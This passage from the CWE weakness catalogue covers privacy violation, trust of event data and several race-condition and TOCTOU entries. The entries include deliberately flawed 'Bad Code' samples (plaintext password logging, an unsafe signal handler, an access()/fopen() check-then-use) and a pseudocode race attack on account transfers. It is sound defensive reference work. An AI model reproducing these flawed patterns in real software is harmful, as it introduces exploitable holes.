CVE-2002-1407	Browser does not verify Basic Constraints of a certificate, even though it is required, allowing spoofing of trusted certificates.
CVE-2004-2163	Shared secret not verified in a RADIUS response packet, allowing authentication bypass by spoofing server replies.
CVE-2005-0198	Logic error prevents some required conditions from being enforced during Challenge-Response Authentication Mechanism with MD5 (CRAM-MD5).

Reference	Description
CVE-2005-2181	Insufficient verification in VoIP implementation, in violation of standard, allows spoofed messages.
CVE-2005-2182	Insufficient verification in VoIP implementation, in violation of standard, allows spoofed messages.

Other Notes

This is a "missing step" error on the product side, which can overlap weaknesses such as insufficient verification and spoofing. It is frequently found in cryptographic and authentication errors. It is sometimes resultant.

This is an implementation error, in which the algorithm/technique requires certain security-related behaviors or conditions that are not implemented or checked properly, thus causing a vulnerability.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf		254	Security Features	**699**	279
CanAlsoBe	We	290	Authentication Bypass by Spoofing	1000	316
CanAlsoBe	We	345	Insufficient Verification of Data Authenticity	1000	367
ChildOf	We	573	Failure to Follow Specification	**1000**	570
ChildOf	We	693	Protection Mechanism Failure	1000	684
PeerOf	We	*325*	*Missing Required Cryptographic Step*	*1000*	*349*

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Improperly Implemented Security Check for Standard

CWE-359: Privacy Violation

Weakness ID: 359 *(Weakness Class)* **Status:** Incomplete

Description

Summary

Mishandling private information, such as customer passwords or social security numbers, can compromise user privacy and is often illegal.

Time of Introduction

- Architecture and Design
- Implementation
- Operation

Applicable Platforms

Languages

- All

Demonstrative Examples

The following code contains a logging statement that tracks the contents of records added to a database by storing them in a log file. Among other values that are stored, the getPassword() function returns the user-supplied plaintext password associated with the account.

Bad Code

```
pass = GetPassword();
...
dbmsLog.WriteLine(id + ":" + pass + ":" + type + ":" + tstamp);
```

The code in the example above logs a plaintext password to the filesystem. Although many developers trust the filesystem as a safe storage location for data, it should not be trusted implicitly, particularly when privacy is a concern.

Other Notes

Privacy violations occur when: 1. Private user information enters the program. 2. The data is written to an external location, such as the console, file system, or network.

Private data can enter a program in a variety of ways:

Directly from the user in the form of a password or personal information

Accessed from a database or other data store by the application

Indirectly from a partner or other third party

Sometimes data that is not labeled as private can have a privacy implication in a different context. For example, student identification numbers are usually not considered private because there is no explicit and publicly-available mapping to an individual student's personal information. However, if a school generates identification numbers based on student social security numbers, then the identification numbers should be considered private.

Security and privacy concerns often seem to compete with each other. From a security perspective, you should record all important operations so that any anomalous activity can later be identified. However, when private data is involved, this practice can in fact create risk. Although there are many ways in which private data can be handled unsafely, a common risk stems from misplaced trust. Programmers often trust the operating environment in which a program runs, and therefore believe that it is acceptable store private information on the file system, in the registry, or in other locally-controlled resources. However, even if access to certain resources is restricted, this does not guarantee that the individuals who do have access can be trusted.

For example, in 2004, an unscrupulous employee at AOL sold approximately 92 million private customer e-mail addresses to a spammer marketing an offshore gambling web site [23]. In response to such high-profile exploits, the collection and management of private data is becoming increasingly regulated. Depending on its location, the type of business it conducts, and the nature of any private data it handles, an organization may be required to comply with one or more of the following federal and state regulations: - Safe Harbor Privacy Framework [24] - Gramm-Leach Bliley Act (GLBA) [11] - Health Insurance Portability and Accountability Act (HIPAA) [16] - California SB-1386 [6]

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	W	200	Information Leak (Information Disclosure)	**1000**	230
ChildOf	C	254	Security Features	**699** **700**	279
ParentOf	W	*202*	*Privacy Leak through Data Queries*	***1000***	*233*

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
7 Pernicious Kingdoms	Privacy Violation

References

[23] J. Oates. "AOL man pleads guilty to selling 92m email addies". The Register. 2005. < http://www.theregister.co.uk/2005/02/07/aol_email_theft/ >.

[24] U.S. Department of Commerce. "Safe Harbor Privacy Framework". < http://www.export.gov/safeharbor/ >.

[11] Federal Trade Commission. "Financial Privacy: The Gramm-Leach Bliley Act (GLBA)". < http://www.ftc.gov/privacy/glbact/index.html >.

[16] U.S. Department of Human Services. "Health Insurance Portability and Accountability Act (HIPAA)". < http://www.hhs.gov/ocr/hipaa/ >.

[6] Government of the State of California. "California SB-1386". 2002. < http://info.sen.ca.gov/pub/01-02/bill/sen/sb_1351-1400/sb_1386_bill_20020926_chaptered.html >.

CWE-360: Trust of System Event Data

Weakness ID: 360 *(Weakness Base)* **Status:** Incomplete

Description

Summary

Security based on event locations are insecure and can be spoofed.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Common Consequences

Authorization

If one trusts the system-event information and executes commands based on it, one could potentially take actions based on a spoofed identity.

Likelihood of Exploit

High

Demonstrative Examples

Java Example: *Bad Code*

```
public void actionPerformed(ActionEvent e) {
  if (e.getSource()==button) System.out.println("print out secret information");
}
```

Potential Mitigations

Design through Implementation: Never trust or rely any of the information in an Event for security.

Other Notes

Events are a messaging system which may provide control data to programs listening for events. Events often do not have any type of authentication framework to allow them to be verified from a trusted source. Any application, in Windows, on a given desktop can send a message to any window on the same desktop. There is no authentication framework for these messages. Therefore, any message can be used to manipulate any process on the desktop if the process does not check the validity and safeness of those messages.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Weakness	345	Insufficient Verification of Data Authenticity	**699** **1000**	367
ParentOf	Weakness	*422*	*Unprotected Windows Messaging Channel ('Shatter')*	*1000*	*450*

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
CLASP	Trust of system event data

CWE-361: Time and State

Category ID: 361 *(Category)* **Status:** Incomplete

Description

Summary

Weaknesses in this category are related to the improper management of time and state in an environment that supports simultaneous or near-simultaneous computation by multiple systems, processes, or threads.

Extended Description

Distributed computation is about time and state. That is, in order for more than one component to communicate, state must be shared, and all that takes time. Most programmers anthropomorphize their work. They think about one thread of control carrying out the entire program in the same way they would if they had to do the job themselves. Modern computers, however, switch between tasks very quickly, and in multi-core, multi-CPU, or distributed systems, two events may take place at exactly the same time. Defects rush to fill the gap between the programmer's model of how a program executes and what happens in reality. These defects are related to unexpected interactions between threads, processes, time, and information. These interactions happen through shared state: semaphores, variables, the file system, and, basically, anything that can store information.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Category	18	Source Code	**699**	13

Nature	Type	ID	Name	V	Page
ParentOf	W	362	Race Condition	699	383
ParentOf	W	364	Signal Handler Race Condition	700	388
ParentOf	W	367	Time-of-check Time-of-use (TOCTOU) Race Condition	700	392
ParentOf	C	371	State Issues	699	397
ParentOf	C	376	Temporary File Issues	699 700	402
ParentOf	W	377	Insecure Temporary File	700	402
ParentOf	C	380	Technology-Specific Time and State Issues	699	406
ParentOf	W	382	J2EE Bad Practices: Use of System.exit()	700	407
ParentOf	W	383	J2EE Bad Practices: Direct Use of Threads	700	408
ParentOf	B	384	Session Fixation	699 700	408
ParentOf	W	385	Covert Timing Channel	699	410
ParentOf	W	386	Symbolic Name not Mapping to Correct Object	699	412
ParentOf	C	387	Signal Errors	699	412
ParentOf	W	412	Unrestricted Lock on Critical Resource	699 700	440
ParentOf	C	557	Concurrency Issues	699	558
ParentOf	W	609	Double-Checked Locking	699	596
ParentOf	W	613	Insufficient Session Expiration	699	599
ParentOf	W	662	Insufficient Synchronization	699	651
ParentOf	W	663	Use of a Non-reentrant Function in an Unsynchronized Context	699	651
ParentOf	W	664	Improper Control of a Resource Through its Lifetime	699	652
ParentOf	W	668	Exposure of Resource to Wrong Sphere	699	658
ParentOf	W	669	Incorrect Resource Transfer Between Spheres	699	659
ParentOf	W	672	Use of a Resource after Expiration or Release	699	660
ParentOf	W	673	External Influence of Sphere Definition	699	661
ParentOf	W	674	Uncontrolled Recursion	699	662
ParentOf	W	698	Redirect Without Exit	699	688
MemberOf	V	700	Seven Pernicious Kingdoms	700	689

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
7 Pernicious Kingdoms	Time and State

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 1.2)
61	Session Fixation	

CWE-362: Race Condition

Weakness ID: 362 *(Weakness Class)* **Status:** Draft

Description

Summary

The code requires that certain state should not be modified between two operations, but a timing window exists in which the state can be modified by an unexpected actor or process.

Extended Description

This can have security implications when the expected synchronization is in security-critical code, such as recording whether a user is authenticated, or modifying important state information that should not be influenced by an outsider.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Architectural Paradigms

- Concurrent Systems Operating on Shared Resources *(Often)*

Common Consequences

Availability

When a race condition makes it possible to bypass a resource cleanup routine or trigger multiple initialization routines, it may lead to resource exhaustion (CWE-400).

Availability

When a race condition allows multiple control flows to access a resource simultaneously, it might lead the program(s) into unexpected states, possibly resulting in a crash.

Confidentiality
Integrity

When a race condition is combined with predictable resource names and loose permissions, it may be possible for an attacker to overwrite or access confidential data (CWE-59).

Likelihood of Exploit

Medium

Demonstrative Examples

This code could be used in an e-commerce application that supports transfers between accounts. It takes the total amount of the transfer, sends it to the new account, and deducts the amount from the original account.

Perl Example: *Bad Code*

```
$transfer_amount = GetTransferAmount();
$balance = GetBalanceFromDatabase();
if ($transfer_amount < 0) {
  FatalError("Bad Transfer Amount");
}
$newbalance = $balance - $transfer_amount;
if (($balance - $transfer_amount) < 0) {
  FatalError("Insufficient Funds");
}
SendNewBalanceToDatabase($newbalance);
NotifyUser("Transfer of $transfer_amount succeeded.");
NotifyUser("New balance: $newbalance");
```

A race condition could occur between the calls to GetBalanceFromDatabase() and SendNewBalanceToDatabase().

Suppose the same user can invoke this program multiple times simultaneously, such as by making multiple requests in a web application. An attack could be constructed as follows:

PseudoCode Example: *Attack*

```
Suppose the balance is initially 100.00.
The attacker makes two simultaneous calls of the program, CALLER-1 and CALLER-2. Both callers are for the same user account.
CALLER-1 (the attacker) is associated with PROGRAM-1 (the instance that handles CALLER-1). CALLER-2 is associated with PROGRAM-2.
CALLER-1 makes a transfer request of 80.00.
PROGRAM-1 calls GetBalanceFromDatabase and sets $balance to 100.00
PROGRAM-1 calculates $newbalance as 20.00, then calls SendNewBalanceToDatabase().
Due to high server load, the PROGRAM-1 call to SendNewBalanceToDatabase() encounters a delay.
CALLER-2 makes a transfer request of 1.00.
PROGRAM-2 calls GetBalanceFromDatabase() and sets $balance to 100.00. This happens because the previous PROGRAM-1 request was not processed yet.
PROGRAM-2 determines the new balance as 99.00.
After the initial delay, PROGRAM-1 commits its balance to the database, setting it to 20.00.
PROGRAM-2 sends a request to update the database, setting the balance to 99.00
```

At this stage, the attacker should have a balance of 19.00 (due to 81.00 worth of transfers), but the balance is 99.00, as recorded in the database.

To prevent this weakness, the programmer has several options, including using a lock to prevent multiple simultaneous requests to the web application, or using a synchronization mechanism that includes all the code between GetBalanceFromDatabase() and SendNewBalanceToDatabase().

Observed Examples

Reference	Description
CVE-2007-3970	Race condition in file parser leads to heap corruption.
CVE-2007-5794	Race condition in library function could cause data to be sent to the wrong process.
CVE-2007-6180	chain: race condition triggers NULL pointer dereference
CVE-2007-6599	Daemon crash by quickly performing operations and undoing them, which eventually leads to an operation that does not acquire a lock.
CVE-2008-0058	Unsynchronized caching operation enables a race condition that causes messages to be sent to a deallocated object.
CVE-2008-0379	Race condition during initialization triggers a buffer overflow.
CVE-2008-1570	chain: time-of-check time-of-use (TOCTOU) race condition in program allows bypass of protection mechanism that was designed to prevent symlink attacks.
CVE-2008-2958	chain: time-of-check time-of-use (TOCTOU) race condition in program allows bypass of protection mechanism that was designed to prevent symlink attacks.
CVE-2008-5021	chain: race condition allows attacker to access an object while it is still being initialized, causing software to access uninitialized memory.
CVE-2008-5044	Race condition leading to a crash by calling a hook removal procedure while other activities are occurring at the same time.

Potential Mitigations

Architecture and Design

In languages that support it, use synchronization primitives. Only wrap these around critical code to minimize the impact on performance.

Architecture and Design

Use thread-safe capabilities such as the data access abstraction in Spring.

Architecture and Design

Minimize the usage of shared resources in order to remove as much complexity as possible from the control flow and to reduce the likelihood of unexpected conditions occurring.

Additionally, this will minimize the amount of synchronization necessary and may even help to reduce the likelihood of a denial of service where an attacker may be able to repeatedly trigger a critical section (CWE-400).

Implementation

When using multi-threading, only use thread-safe functions on shared variables.

Implementation

Use atomic operations on shared variables. Be wary of innocent-looking constructs like "x++". This is actually non-atomic, since it involves a read followed by a write.

Implementation

Use a mutex if available, but be sure to avoid related weaknesses such as CWE-412.

Implementation

Avoid double-checked locking (CWE-609) and other implementation errors that arise when trying to avoid the overhead of synchronization.

Implementation

Disable interrupts or signals over critical parts of the code, but also make sure that the code does not go into a large or infinite loop.

Implementation

Use the volatile type modifier for critical variables to avoid unexpected compiler optimization or reordering. This does not necessarily solve the synchronization problem, but it can help.

Testing

Stress-test the software by calling it simultaneously from a large number of threads or processes, and look for evidence of any unexpected behavior. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Insert breakpoints or delays in between relevant code statements to artificially expand the race window so that it will be easier to detect.

Testing

Identify error conditions that are not likely to occur during normal usage and trigger them. For example, run the program under low memory conditions, run with insufficient privileges or permissions, interrupt a transaction before it is completed, or disable connectivity to basic network services such as DNS. Monitor the software for any unexpected behavior. If you trigger an unhandled exception or similar error that was discovered and handled by the application's environment, it may still indicate unexpected conditions that were not handled by the application itself.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	361	Time and State	**699**	382
ChildOf	Wc	691	Insufficient Control Flow Management	**1000**	682
ChildOf	C	743	CERT C Secure Coding Section 09 - Input Output (FIO)	**734**	728
ChildOf	C	751	Insecure Interaction Between Components	**750**	733
RequiredBy		*61*	*UNIX Symbolic Link (Symlink) Following*	*1000*	*56*
ParentOf	We	*364*	*Signal Handler Race Condition*	***699*** ***1000***	*388*
ParentOf	We	*365*	*Race Condition in Switch*	***699*** ***1000***	*389*
ParentOf	We	*366*	*Race Condition within a Thread*	***699*** ***1000***	*390*
ParentOf	We	*367*	*Time-of-check Time-of-use (TOCTOU) Race Condition*	***699*** ***1000***	*392*
ParentOf	We	*368*	*Context Switching Race Condition*	***699*** ***1000***	*394*
ParentOf	We	*421*	*Race Condition During Access to Alternate Channel*	*699* *1000*	*449*
CanAlsoBe	C	*557*	*Concurrency Issues*	*1000*	*558*
CanFollow	We	*609*	*Double-Checked Locking*	***699*** *1000*	*596*
MemberOf	V	*635*	*Weaknesses Used by NVD*	***635***	*616*
CanFollow	We	*662*	*Insufficient Synchronization*	*699* *1000*	*651*
RequiredBy		*689*	*Permission Race Condition During Resource Copy*	*1000*	*680*

Research Gaps

Race conditions in web applications are under-studied and probably under-reported. However, in 2008 there has been growing interest in this area.

Much of the focus of race condition research has been in Time-of-check Time-of-use (TOCTOU) variants (CWE-367), but many race conditions are related to synchronization problems that do not necessarily require a time-of-check.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Race Conditions
CERT C Secure Coding	FIO31-C	Do not simultaneously open the same file multiple times

Related Attack Patterns

CAPEC-ID	Attack Pattern Name *(CAPEC Version 1.2)*
26	Leveraging Race Conditions
29	Leveraging Time-of-Check and Time-of-Use (TOCTOU) Race Conditions

References

Andrei Alexandrescu. "volatile - Multithreaded Programmer's Best Friend". Dr. Dobb's. 2008-02-01. < http://www.ddj.com/cpp/184403766 >.

Steven Devijver. "Thread-safe webapps using Spring". < http://www.javalobby.org/articles/thread-safe/index.jsp >.

David Wheeler. "Prevent race conditions". 2007-10-04. < http://www.ibm.com/developerworks/library/l-sprace.html >.

Matt Bishop. "Race Conditions, Files, and Security Flaws; or the Tortoise and the Hare Redux". September 1995. < http://www.cs.ucdavis.edu/research/tech-reports/1995/CSE-95-9.pdf >.
David Wheeler. "Secure Programming for Linux and Unix HOWTO". 2003-03-03. < http://www.dwheeler.com/secure-programs/Secure-Programs-HOWTO/avoid-race.html >.
Blake Watts. "Discovering and Exploiting Named Pipe Security Flaws for Fun and Profit". April 2002. < http://www.blakewatts.com/namedpipepaper.html >.
Roberto Paleari, Davide Marrone, Danilo Bruschi and Mattia Monga. "On Race Vulnerabilities in Web Applications". < http://security.dico.unimi.it/~roberto/pubs/dimva08-web.pdf >.
"Avoiding Race Conditions and Insecure File Operations". Apple Developer Connection. < http://developer.apple.com/documentation/Security/Conceptual/SecureCodingGuide/Articles/RaceConditions.html >.

Maintenance Notes

The relationship between race conditions and synchronization problems (CWE-662) needs to be further developed. They are not necessarily two perspectives of the same core concept, since synchronization is only one technique for avoiding race conditions, and synchronization can be used for other purposes besides race condition prevention.

CWE-363: Race Condition Enabling Link Following

Weakness ID: 363 *(Weakness Base)* **Status:** Draft

Description

Summary

The software checks the status of a file or directory before accessing it, which produces a race condition in which the file can be replaced with a link before the access is performed, causing the software to access the wrong file.

Extended Description

While developers might expect that there is a very narrow time window between the time of check and time of use, there is still a race condition. An attacker could cause the software to slow down (e.g. with memory consumption), causing the time window to become larger. Alternately, in some situations, the attacker could win the race by performing a large number of attacks.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Other Notes

This is already covered by the "Link Following" weakness (CWE-59). It is included here because so many people associate race conditions with link problems; however, not all link following issues involve race conditions.

Relationships

Nature	Type	ID	Name	V	Page
CanPrecede	We	59	Improper Link Resolution Before File Access ('Link Following')	1000	54
ChildOf	We	367	Time-of-check Time-of-use (TOCTOU) Race Condition	**699** **1000**	392
ChildOf	C	748	CERT C Secure Coding Section 50 - POSIX (POS)	**734**	731

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Race condition enabling link following
CERT C Secure Coding	POS35-C	Avoid race conditions while checking for the existence of a symbolic link

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	*(CAPEC Version 1.2)*
26	Leveraging Race Conditions	

CWE-364: Signal Handler Race Condition

Weakness ID: 364 *(Weakness Base)* **Status:** Incomplete

Description

Summary

Race conditions occur frequently in signal handlers, since they are asynchronous actions. These race conditions may have any number of root-causes and symptoms.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- C *(Sometimes)*
- C++ *(Sometimes)*

Common Consequences

Authorization

It may be possible to execute arbitrary code through the use of a write-what-where condition.

Integrity

Signal race conditions often result in data corruption.

Likelihood of Exploit

Medium

Demonstrative Examples

C Example: *Bad Code*

```
#include <signal.h>
#include <syslog.h>
#include <string.h>
#include <stdlib.h>
void *global1, *global2;
char *what;
void sh (int dummy) {
  syslog(LOG_NOTICE,"%s\n",what);
  free(global2);
  free(global1);
  sleep(10);
  exit(0);
}
int main (int argc,char* argv[]) {
  what=argv[1];
  global1=strdup(argv[2]);
  global2=malloc(340);
  signal(SIGHUP,sh);
  signal(SIGTERM,sh);
  sleep(10);
  exit(0);
}
```

Observed Examples

Reference	Description
CVE-2001-1349	
CVE-2004-0794	
CVE-2004-2259	

Potential Mitigations

Requirements specification: A language might be chosen, which is not subject to this flaw, through a guarantee of reentrant code.

Architecture and Design

Design signal handlers to only set flags rather than perform complex functionality.

Implementation

Ensure that non-reentrant functions are not found in signal handlers. Also, use sanity checks to ensure that state is consistent be performing asynchronous actions which effect the state of execution.

Other Notes

Signal race conditions are a common issue that have only recently been seen as exploitable. These issues occur when non-reentrant functions, or state-sensitive actions occur in the signal handler, where they may be called at any time. If these functions are called at an inopportune moment -- such as while a non-reentrant function is already running --, memory corruption occurs that may be exploitable. Another signal race condition commonly found occurs when free is called within a signal handler, resulting in a double free and therefore a write-what-where condition. This is a perfect example of a signal handler taking actions which cannot be accounted for in state. Even if a given pointer is set to NULL after it has been freed, a race condition still exists between the time the memory was freed and the pointer was set to NULL. This is especially prudent if the same signal handler has been set for more than one signal -- since it means that the signal handler itself may be reentered.

Relationships

Nature	Type	ID	Name	V	Page
CanPrecede	B	123	Write-what-where Condition	1000	154
ChildOf	C	361	Time and State	**700**	382
ChildOf	B	362	Race Condition	**699** **1000**	383
ChildOf	C	387	Signal Errors	699	412
PeerOf	B	415	Double Free	1000	442
PeerOf	B	416	Use After Free	1000	445
PeerOf	B	479	Unsafe Function Call from a Signal Handler	1000	502
ChildOf	C	634	Weaknesses that Affect System Processes	**631**	616
PeerOf	B	*365*	*Race Condition in Switch*	*1000*	*389*
CanAlsoBe	B	*368*	*Context Switching Race Condition*	*1000*	*394*

Research Gaps

Probably under-studied.

Affected Resources

- System Process

Functional Areas

- Signals, interprocess communication

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Signal handler race condition
7 Pernicious Kingdoms	Signal Handling Race Conditions
CLASP	Race condition in signal handler

CWE-365: Race Condition in Switch

Weakness ID: 365 *(Weakness Base)* **Status:** Draft

Description

Summary

The code contains a switch statement in which the switched variable can be modified while the switch is still executing, resulting in unexpected behavior.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- C
- C++

- Java
- .NET

Common Consequences

This flaw will result in the system state going out of sync.

Likelihood of Exploit

Medium

Demonstrative Examples

C/C++ Example: *Bad Code*

```
#include <sys/types.h>
#include <sys/stat.h>
int main(argc,argv){
  struct stat *sb;
  time_t timer;
  lstat("bar.sh",sb);
  printf("%d\n",sb->st_ctime);
  switch(sb->st_ctime % 2){
    case 0: printf("One option\n");
    break;
    case 1: printf("another option\n");
    break;
    default: printf("huh\n");
    break;
  }
  return 0;
}
```

Potential Mitigations

Implementation

Variables that may be subject to race conditions should be locked for the duration of any switch statements.

Other Notes

This issue is particularly important in the case of switch statements that involve fall-through style case statements -- ie., those which do not end with break. If the variable which we are switching on change in the course of execution, the actions carried out may place the state of the process in a contradictory state or even result in memory corruption. For this reason, it is important to ensure that all variables involved in switch statements are locked before the statement starts and are unlocked when the statement ends.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Wc	362	Race Condition	**699** **1000**	383
PeerOf	We	364	Signal Handler Race Condition	1000	388
PeerOf	We	366	Race Condition within a Thread	1000	390
ChildOf	C	748	CERT C Secure Coding Section 50 - POSIX (POS)	**734**	731

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
CLASP		Race condition in switch
CERT C Secure Coding	POS35-C	Avoid race conditions while checking for the existence of a symbolic link

CWE-366: Race Condition within a Thread

Weakness ID: 366 *(Weakness Base)* **Status:** Draft

Description

Summary

If two threads of execution use a resource simultaneously, there exists the possibility that resources may be used while invalid, in turn making the state of execution undefined.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- C
- C++
- Java
- .NET

Common Consequences

Integrity

The main problem is that -- if a lock is overcome -- data could be altered in a bad state.

Likelihood of Exploit

Medium

Demonstrative Examples

C/C++ Example: *Bad Code*

```
int foo = 0;
int storenum(int num) {
  static int counter = 0;
  counter++;
  if (num > foo) foo = num;
  return foo;
}
```

Java Example: *Bad Code*

```
public classRace {
  static int foo = 0;
  public static void main() {
    new Threader().start();
    foo = 1;
  }
  public static class Threader extends Thread {
    public void run() {
      System.out.println(foo);
    }
  }
}
```

Potential Mitigations

Architecture and Design

Use locking functionality. This is the recommended solution. Implement some form of locking mechanism around code which alters or reads persistent data in a multi-threaded environment.

Architecture and Design

Create resource-locking sanity checks. If no inherent locking mechanisms exist, use flags and signals to enforce your own blocking scheme when resources are being used by other threads of execution.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	W	362	Race Condition	**699 1000**	383
ChildOf	C	557	Concurrency Issues	699	558
ChildOf	C	634	Weaknesses that Affect System Processes	**631**	616
ChildOf	C	748	CERT C Secure Coding Section 50 - POSIX (POS)	**734**	731
PeerOf	W	*365*	*Race Condition in Switch*	*1000*	*389*
ParentOf	W	*572*	*Call to Thread run() instead of start()*	***699 1000***	*569*

Affected Resources

- System Process

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
CLASP		Race condition within a thread
CERT C Secure Coding	POS00-C	Avoid race conditions with multiple threads

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	*(CAPEC Version 1.2)*
26	Leveraging Race Conditions	
29	Leveraging Time-of-Check and Time-of-Use (TOCTOU) Race Conditions	

CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition

Weakness ID: 367 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The software checks the state of a resource before using that resource, but the resource's state can change between the check and the use in a way that invalidates the results of the check. This can cause the software to perform invalid actions when the resource is in an unexpected state.

Extended Description

This weakness can be security-relevant when an attacker can influence the state of the resource between check and use. This can happen with shared resources such as files, memory, or even variables in multi-threaded programs.

Alternate Terms

TOCTTOU

The TOCCTOU acronym expands to "Time Of Check To Time Of Use". Usage varies between TOCTOU and TOCTTOU.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- All

Common Consequences

Access Control

The attacker can gain access to otherwise unauthorized resources.

Access Control
Authorization

Race conditions such as this kind may be employed to gain read or write access to resources which are not normally readable or writable by the user in question.

Integrity

The resource in question, or other resources (through the corrupted one), may be changed in undesirable ways by a malicious user.

Accountability

If a file or other resource is written in this method, as opposed to in a valid way, logging of the activity may not occur.

Non-Repudiation

In some cases it may be possible to delete files a malicious user might not otherwise have access to, such as log files.

Likelihood of Exploit

Low to Medium

Demonstrative Examples

Example 1:

C/C++ Example: *Bad Code*

```
struct stat *sb;
```

```
...
lstat("...",sb); // it has not been updated since the last time it was read
printf("stated file\n");
if (sb->st_mtimespec==...){
  print("Now updating things\n");
  updateThings();
}
```

Potentially the file could have been updated between the time of the check and the lstat, especially since the printf has latency.

Example 2:

The following code is from a program installed setuid root. The program performs certain file operations on behalf of non-privileged users, and uses access checks to ensure that it does not use its root privileges to perform operations that should otherwise be unavailable the current user. The program uses the access() system call to check if the person running the program has permission to access the specified file before it opens the file and performs the necessary operations.

Bad Code

```
if(!access(file,W_OK)) {
  f = fopen(file,"w+");
  operate(f);
  ...
}
else {
  fprintf(stderr,"Unable to open file %s.\n",file);
}
```

The call to access() behaves as expected, and returns 0 if the user running the program has the necessary permissions to write to the file, and -1 otherwise. However, because both access() and fopen() operate on filenames rather than on file handles, there is no guarantee that the file variable still refers to the same file on disk when it is passed to fopen() that it did when it was passed to access(). If an attacker replaces file after the call to access() with a symbolic link to a different file, the program will use its root privileges to operate on the file even if it is a file that the attacker would otherwise be unable to modify. By tricking the program into performing an operation that would otherwise be impermissible, the attacker has gained elevated privileges. This type of vulnerability is not limited to programs with root privileges. If the application is capable of performing any operation that the attacker would not otherwise be allowed perform, then it is a possible target.

Observed Examples

Reference	Description
CVE-2003-0813	
CVE-2004-0594	
CVE-2008-1570	chain: time-of-check time-of-use (TOCTOU) race condition in program allows bypass of protection mechanism that was designed to prevent symlink attacks.
CVE-2008-2958	chain: time-of-check time-of-use (TOCTOU) race condition in program allows bypass of protection mechanism that was designed to prevent symlink attacks.

Potential Mitigations

The most basic advice for TOCTOU vulnerabilities is to not perform a check before the use. This does not resolve the underlying issue of the execution of a function on a resource whose state and identity cannot be assured, but it does help to limit the false sense of security given by the check.

Implementation

When the file being altered is owned by the current user and group, set the effective gid and uid to that of the current user and group when executing this statement.

Do not rely on user-specified input to determine what path to format.

Architecture and Design

Limit the interleaving of operations on files from multiple processes.

Limit the spread of time (cycles) between the check and use of a resource.

Implementation
Recheck the resource after the use call to verify that the action was taken appropriately.

Architecture and Design
Ensure that some environmental locking mechanism can be used to protect resources effectively.

Implementation
Ensure that locking occurs before the check, as opposed to afterwards, such that the resource, as checked, is the same as it is when in use.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	361	Time and State	**700**	382
ChildOf	Wc	362	Race Condition	**699** **1000**	383
PeerOf	We	373	State Synchronization Error	1000	398
ChildOf	C	743	CERT C Secure Coding Section 09 - Input Output (FIO)	**734**	728
ParentOf	We	*363*	*Race Condition Enabling Link Following*	***699*** ***1000***	*387*
PeerOf	We	*386*	*Symbolic Name not Mapping to Correct Object*	*1000*	*412*
ParentOf	We	*609*	*Double-Checked Locking*	***1000***	*596*
MemberOf	V	*630*	*Weaknesses Examined by SAMATE*	***630***	*614*

Relationship Notes
TOCTOU issues do not always involve symlinks, and not every symlink issue is a TOCTOU problem.

Research Gaps
Non-symlink TOCTOU issues are not reported frequently, but they are likely to occur in code that attempts to be secure.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Time-of-check Time-of-use race condition
7 Pernicious Kingdoms		File Access Race Conditions: TOCTOU
CLASP		Time of check, time of use race condition
CERT C Secure Coding	FIO01-C	Be careful using functions that use file names for identification

Related Attack Patterns

CAPEC-ID	Attack Pattern Name *(CAPEC Version 1.2)*
27	Leveraging Race Conditions via Symbolic Links
29	Leveraging Time-of-Check and Time-of-Use (TOCTOU) Race Conditions

White Box Definitions
A weakness where code path has:

1. start statement that validates a system resource by a reference
2. end statement that accesses the system resource by the reference
3. the validated system resource is not equal to accessed system resource

References
Dan Tsafrir, Tomer Hertz, David Wagner and Dilma Da Silva. "Portably Solving File TOCTTOU Races with Hardness Amplification". 2008-02-28. < http://www.usenix.org/events/fast08/tech/tsafrir.html >.

CWE-368: Context Switching Race Condition

Weakness ID: 368 *(Weakness Base)* **Status:** Draft

Description

Summary
A product performs a series of non-atomic actions to switch between contexts that cross privilege or other security boundaries, but a race condition allows an attacker to modify or misrepresent the product's behavior during the switch.

Time of Introduction
- Architecture and Design
- Implementation

Applicable Platforms
Languages
- All

Observed Examples
Reference	Description
CVE-2004-0191	XSS when web browser executes Javascript events in the context of a new page while it's being loaded, allowing interaction with previous page in different domain.
CVE-2004-2260	Browser updates address bar as soon as user clicks on a link instead of when the page has loaded, allowing spoofing by redirecting to another page using onUnload method. ** this is one example of the role of "hooks" and context switches, and should be captured somehow - also a race condition of sorts **
CVE-2004-2491	Web browser fills in address bar of clicked-on link before page has been loaded, and doesn't update afterward.

Other Notes
This is commonly seen in web browser vulnerabilities, in which the attacker can perform certain actions while the browser is transitioning from a trusted to an untrusted domain, or vice versa, and the browser performs the actions on one domain using the trust level and resources of the other domain.

Can be resultant or primary.

Can overlap signal handler race conditions.

Relationships
Nature	Type	ID	Name	V	Page
